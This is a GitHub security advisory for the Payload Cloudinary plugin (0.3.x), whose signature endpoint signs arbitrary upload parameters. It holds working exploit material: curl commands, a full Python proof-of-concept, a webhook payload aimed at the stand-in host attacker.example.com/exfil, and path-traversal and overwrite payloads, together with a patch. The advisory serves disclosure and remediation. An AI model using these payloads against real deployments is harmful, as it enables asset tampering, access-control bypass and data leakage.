Skip to content

@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing

High severity GitHub Reviewed Published Jun 19, 2026 in jhb-software/payload-plugins • Updated Jun 23, 2026

Package

npm @jhb.software/payload-cloudinary-plugin (npm)

Affected versions

>= 0.3.0, < 0.4.0

Patched versions

0.4.0

Description

Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin

Summary

@jhb.software/payload-cloudinary-plugin v0.3.4 exposes a server-side signing endpoint (POST /api/cloudinary-generate-signature) that passes attacker-supplied paramsToSign directly to cloudinary.utils.api_sign_request() without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including overwrite=true, type=private, notification_url, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account.

Details

When clientUploads: true is configured, the plugin registers a signing handler at cloudinary/src/index.ts:74-79. The handler is implemented in cloudinary/src/getGenerateSignature.ts.

Vulnerable code path (step by step):

  1. cloudinary/src/index.ts:58initClientUploads registers the server upload handler.
  2. cloudinary/src/index.ts:68 — The Cloudinary API key is exposed to client handler props by design.
  3. cloudinary/src/index.ts:74-79 — The signing endpoint is mounted at /cloudinary-generate-signature.
  4. cloudinary/src/getGenerateSignature.ts:18 — The default access control checks only !!req.user, permitting any authenticated user.
  5. cloudinary/src/getGenerateSignature.ts:46 — The entire request body is parsed: const body = await req.json?.().
  6. cloudinary/src/getGenerateSignature.ts:55Vulnerable sink: attacker-controlled body.paramsToSign is forwarded verbatim to the signing function.
// cloudinary/src/getGenerateSignature.ts:46-55
const body = await req.json?.()

if (!body?.paramsToSign) {
  return new Response(JSON.stringify({ error: 'No paramsToSign provided' }), ...)
}

// No allowlist, no key filtering, no folder/public_id/overwrite enforcement
const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)

There are no mitigations in place:

  • No parameter key allowlist (attacker can include overwrite, type, notification_url, invalidate, etc.)
  • No folder/public_id policy enforcement (the plugin's folder option from index.ts is never passed to getGenerateSignature)
  • No timestamp freshness check
  • No restriction on path traversal sequences in folder or public_id

Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures:

Case paramsToSign Impact
CASE-2 folder=attacker-controlled, overwrite=true Overwrite any existing asset
CASE-3 type=private, public_id=admin-document Change asset visibility / bypass access control
CASE-4 notification_url=http://attacker.example.com/exfil SSRF / data exfiltration via Cloudinary webhook
CASE-5 folder=../../../../admin-assets, invalidate=true Path traversal + CDN cache invalidation

Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input.

PoC

Prerequisites:

  • @jhb.software/payload-cloudinary-plugin@0.3.4 deployed with clientUploads: true
  • An authenticated Payload session (any privilege level)
  • Knowledge of CLOUDINARY_CLOUD_NAME and the client-exposed API key (exposed by design at index.ts:68)

Step 1 — Obtain a signature for arbitrary parameters (bash):

TS=$(date +%s)

SIG=$(curl -s \
  -H "Authorization: Bearer <LOW_PRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  -X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \
  --data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \
  | jq -r .signature)

echo "Obtained signature: $SIG"

Step 2 — Use the minted signature to upload directly to Cloudinary:

curl -s -X POST "https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload" \
  -F "file=@poc.txt" \
  -F "api_key=$CLOUDINARY_API_KEY" \
  -F "timestamp=$TS" \
  -F "folder=attacker" \
  -F "public_id=overwrite-target" \
  -F "overwrite=true" \
  -F "signature=$SIG"

Expected result: Cloudinary returns a successful upload JSON for attacker/overwrite-target — an asset path the plugin never intended to authorize.

Automated PoC (Python):

# Build and run the reproduction container
docker build -t vuln-002-cloudinary .
docker run -d --name vuln-002 -p 3000:3000 vuln-002-cloudinary

# Run all five attack scenarios
python3 poc.py --server http://127.0.0.1:3000

The script (poc.py) posts five distinct paramsToSign payloads and independently verifies each returned signature using hashlib.sha1. All five cases return HTTP 200 with a mathematically valid signature, confirming the vulnerability.

Sample output (Phase 2 evidence):

[SIGN] paramsToSign={"timestamp":"...","folder":"attacker-controlled","public_id":"overwrite-target","overwrite":"true"}
      => abc45ef5f0807bdef153074d2be3e713ea867168  (HTTP 200)

[SIGN] paramsToSign={"timestamp":"...","type":"private","public_id":"admin-document"}
      => 0d8102a5ff48953832b76a1f21d1c513af5940e1  (HTTP 200)

[SIGN] paramsToSign={"timestamp":"...","folder":"media","notification_url":"http://attacker.example.com/exfil"}
      => 72d954c67bd4a38d6a3931c64511f84143d24685  (HTTP 200)

[SIGN] paramsToSign={"timestamp":"...","folder":"../../../../admin-assets","public_id":"../../../sensitive","invalidate":"true"}
      => d44984e7af8fca306e59e00810c2623d8963e011  (HTTP 200)

Results: 5/5 cases confirmed — HTTP 200 + mathematically valid HMAC-SHA1 on every attacker-controlled paramsToSign

Recommended fix:

--- a/cloudinary/src/getGenerateSignature.ts
+++ b/cloudinary/src/getGenerateSignature.ts
@@ type Args = {
   apiSecret: string
+  folder?: string
 }
@@ export const getGenerateSignature =
-  ({ access = defaultAccess, apiSecret }: Args): PayloadHandler =>
+  ({ access = defaultAccess, apiSecret, folder }: Args): PayloadHandler =>
@@
-    const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)
+    const paramsToSign = body.paramsToSign as Record<string, unknown>
+    const allowedKeys = new Set(['timestamp', 'folder', 'public_id'])
+    if (
+      !paramsToSign ||
+      Object.keys(paramsToSign).some((key) => !allowedKeys.has(key)) ||
+      typeof paramsToSign.timestamp !== 'string'
+    ) {
+      throw new Forbidden()
+    }
+    if (folder && paramsToSign.folder !== folder.replace(/^\/|\/$/g, '')) {
+      throw new Forbidden()
+    }
+    if (
+      typeof paramsToSign.public_id === 'string' &&
+      (paramsToSign.public_id.includes('..') || paramsToSign.public_id.startsWith('/'))
+    ) {
+      throw new Forbidden()
+    }
+    const signature = cloudinary.utils.api_sign_request(paramsToSign, apiSecret)

Impact

This is an Improper Verification of Cryptographic Signature vulnerability (CWE-347). The signing endpoint is intended to authorize legitimate client-side uploads, but because paramsToSign is never validated, it acts as an unrestricted signature oracle for any authenticated user.

Who is impacted: All deployments of @jhb.software/payload-cloudinary-plugin that set clientUploads: true. This is a non-default but officially recommended production configuration for Vercel deployments (documented in the plugin README).

Concrete attack outcomes:

  • Asset overwrite (overwrite=true): attacker replaces any existing media asset in the Cloudinary account, enabling content tampering or defacement.
  • Access-control bypass (type=private): attacker changes the delivery type of uploaded assets, potentially exposing or hiding content beyond what the application intends.
  • SSRF / data exfiltration (notification_url): Cloudinary issues an HTTP callback to the attacker-controlled URL upon upload completion, leaking upload metadata and enabling server-side request forgery.
  • Path traversal (folder=../../../../..., invalidate=true): attacker writes to or invalidates assets in arbitrary Cloudinary folders, including administrative paths outside the configured upload directory.

The Cloudinary API key is exposed to the client by the plugin itself (index.ts:68), so an attacker already holds three of the four required upload components (cloud name, API key, timestamp). The signing endpoint provides the missing fourth (signature), completing the attack chain with a single authenticated request.

Reproduction artifacts

Dockerfile

FROM node:22-alpine

LABEL description="VULN-002 reproduction: arbitrary Cloudinary API parameter signing" \
      vuln="getGenerateSignature.ts:55 - body.paramsToSign signed without allowlist" \
      package="@jhb.software/payload-cloudinary-plugin@0.3.4"

WORKDIR /app

# Install exactly the cloudinary version declared in the plugin's package.json
RUN echo '{"name":"vuln-002-server","version":"1.0.0","private":true}' > package.json && \
    npm install cloudinary@2.10.0 --save --no-audit --no-fund

COPY server.js .

EXPOSE 3000

# Start the minimal reproduction server
CMD ["node", "server.js"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-002: Arbitrary Cloudinary API Parameter Signing
Package : @jhb.software/payload-cloudinary-plugin v0.3.4
File    : cloudinary/src/getGenerateSignature.ts:55
CWE     : CWE-347 — Improper Verification of Cryptographic Signature
CVSS    : 7.1 (High) AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Vulnerable sink (exact line from source):
    const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret)

body.paramsToSign is passed directly with no allowlist, no key filtering, and no
folder/public_id/overwrite enforcement. Any authenticated user can obtain a valid
Cloudinary HMAC-SHA1 signature for arbitrary upload parameters.

Usage:
    python3 poc.py [--server http://127.0.0.1:3000]
"""

import argparse
import hashlib
import json
import sys
import time
import urllib.error
import urllib.request

# Must match API_SECRET in server.js
API_SECRET = "poc-fake-api-secret-12345"

# Simulates a low-privilege authenticated user session
AUTH_HEADER = "Bearer low-privilege-user-token"

GREEN = "\033[32m"
RED = "\033[31m"
YELLOW = "\033[33m"
RESET = "\033[0m"


# ---------------------------------------------------------------------------
# Cloudinary signature algorithm — Python re-implementation of
#   cloudinary.utils.api_sign_request(params, api_secret)
# Algorithm: SHA-1( sorted_k=v_pairs + api_secret )
# ---------------------------------------------------------------------------
def cloudinary_sign(params: dict, api_secret: str) -> str:
    """Return the expected Cloudinary HMAC-SHA1 signature for params."""
    filtered = {k: v for k, v in params.items() if v not in (None, "")}
    sorted_pairs = sorted(filtered.items())
    param_str = "&".join(f"{k}={v}" for k, v in sorted_pairs)
    to_sign = param_str + api_secret
    return hashlib.sha1(to_sign.encode("utf-8")).hexdigest()


# ---------------------------------------------------------------------------
# HTTP helpers
# ---------------------------------------------------------------------------
def post_sign(server: str, params: dict) -> tuple[int, dict]:
    """
    POST {"paramsToSign": params} to the signing endpoint.
    Returns (http_status, response_dict).
    Raises urllib.error.HTTPError for 4xx/5xx.
    """
    body = json.dumps({"paramsToSign": params}).encode("utf-8")
    req = urllib.request.Request(
        f"{server}/api/cloudinary-generate-signature?collectionSlug=media",
        data=body,
        headers={
            "Content-Type": "application/json",
            "Authorization": AUTH_HEADER,
        },
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=10) as resp:
        return resp.status, json.loads(resp.read())


# ---------------------------------------------------------------------------
# Test runner
# ---------------------------------------------------------------------------
def run_case(server: str, label: str, params: dict) -> bool:
    """
    Execute one signing test case and verify:
      1. HTTP 200 is returned (endpoint did NOT reject the params).
      2. The returned signature is mathematically correct.
    Returns True if both conditions hold (vulnerability confirmed for this case).
    """
    print(f"\n  [{label}]")
    print(f"  paramsToSign : {json.dumps(params)}")

    try:
        status, data = post_sign(server, params)
    except urllib.error.HTTPError as exc:
        body = exc.read().decode(errors="replace")
        print(f"  HTTP {exc.code} — request rejected: {body}")
        print(f"  {RED}UNEXPECTED REJECTION{RESET} — allowlist may be present for this case")
        return False
    except Exception as exc:
        print(f"  Connection error: {exc}")
        return False

    sig_returned = data.get("signature", "")
    sig_expected = cloudinary_sign(params, API_SECRET)
    sig_match = sig_returned == sig_expected

    print(f"  HTTP status  : {status}")
    print(f"  Signature    : {sig_returned}")
    print(f"  Expected sig : {sig_expected}")
    print(f"  Sig valid    : {'YES — mathematically correct HMAC-SHA1' if sig_match else 'NO — mismatch'}")

    if status == 200 and sig_match:
        print(f"  {GREEN}CONFIRMED{RESET} — endpoint signed arbitrary params without rejection")
        return True
    else:
        print(f"  {RED}UNEXPECTED{RESET} — status={status}, sig_match={sig_match}")
        return False


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
    parser = argparse.ArgumentParser(description="VULN-002 PoC")
    parser.add_argument("--server", default="http://127.0.0.1:3000", help="Target server URL")
    args = parser.parse_args()
    server = args.server.rstrip("/")

    ts = str(int(time.time()))

    print("=" * 70)
    print("VULN-002 PoC — Arbitrary Cloudinary API Parameter Signing")
    print(f"Target  : {server}")
    print(f"Vuln    : getGenerateSignature.ts:55 — no paramsToSign allowlist")
    print(f"Auth    : {AUTH_HEADER!r}  (low-privilege user simulation)")
    print("=" * 70)

    # ------------------------------------------------------------------
    # Attack scenarios
    # ------------------------------------------------------------------
    # Each case passes paramsToSign that the plugin should REJECT but does NOT.
    # A correctly patched implementation would return 4xx for cases 2-5.
    # ------------------------------------------------------------------
    cases = [
        (
            "CASE-1: Legitimate params (baseline — should always succeed)",
            {"timestamp": ts, "folder": "media", "public_id": "user-upload"},
        ),
        (
            "CASE-2: Attacker-controlled folder + overwrite=true",
            {
                "timestamp": ts,
                "folder": "attacker-controlled",
                "public_id": "overwrite-target",
                "overwrite": "true",
            },
        ),
        (
            "CASE-3: type=private — changes upload visibility",
            {
                "timestamp": ts,
                "type": "private",
                "public_id": "admin-document",
            },
        ),
        (
            "CASE-4: notification_url — potential SSRF / data exfiltration",
            {
                "timestamp": ts,
                "folder": "media",
                "notification_url": "http://attacker.example.com/exfil",
            },
        ),
        (
            "CASE-5: folder path traversal + invalidate=true",
            {
                "timestamp": ts,
                "folder": "../../../../admin-assets",
                "public_id": "../../../sensitive",
                "invalidate": "true",
            },
        ),
    ]

    results = []
    for label, params in cases:
        results.append(run_case(server, label, params))

    passed = sum(results)
    total = len(results)

    print("\n" + "=" * 70)
    print(f"Results : {passed}/{total} cases confirmed")

    # Cases 1-5 all passing means the vulnerability is proven:
    # the endpoint signs ANY paramsToSign regardless of content.
    if all(results):
        print(f"\n{GREEN}VERDICT: PASS — VULN-002 CONFIRMED{RESET}")
        print(
            "All 5 attack scenarios returned HTTP 200 with a mathematically valid"
            " Cloudinary HMAC-SHA1 signature."
        )
        print(
            "The plugin endpoint signs arbitrary upload parameters without any"
            " allowlist, folder enforcement, or overwrite/type restriction."
        )
        print(
            "Impact: any authenticated Payload user can mint valid Cloudinary"
            " signatures for arbitrary parameters, enabling asset replacement,"
            " privacy changes, and potential SSRF via notification_url."
        )
        sys.exit(0)
    elif results[0]:
        failed = [cases[i][0] for i, r in enumerate(results) if not r]
        print(f"\n{YELLOW}VERDICT: PARTIAL — baseline succeeded but some cases failed{RESET}")
        print(f"Failed cases: {failed}")
        sys.exit(2)
    else:
        print(f"\n{RED}VERDICT: FAIL — server not reachable or baseline request failed{RESET}")
        sys.exit(1)


if __name__ == "__main__":
    main()

References

@jhb-dev jhb-dev published to jhb-software/payload-plugins Jun 19, 2026
Published to the GitHub Advisory Database Jun 19, 2026
Reviewed Jun 19, 2026
Last updated Jun 23, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

EPSS score

Weaknesses

Improper Verification of Cryptographic Signature

The product does not verify, or incorrectly verifies, the cryptographic signature for data. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-h5x8-xp6m-x6q4

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.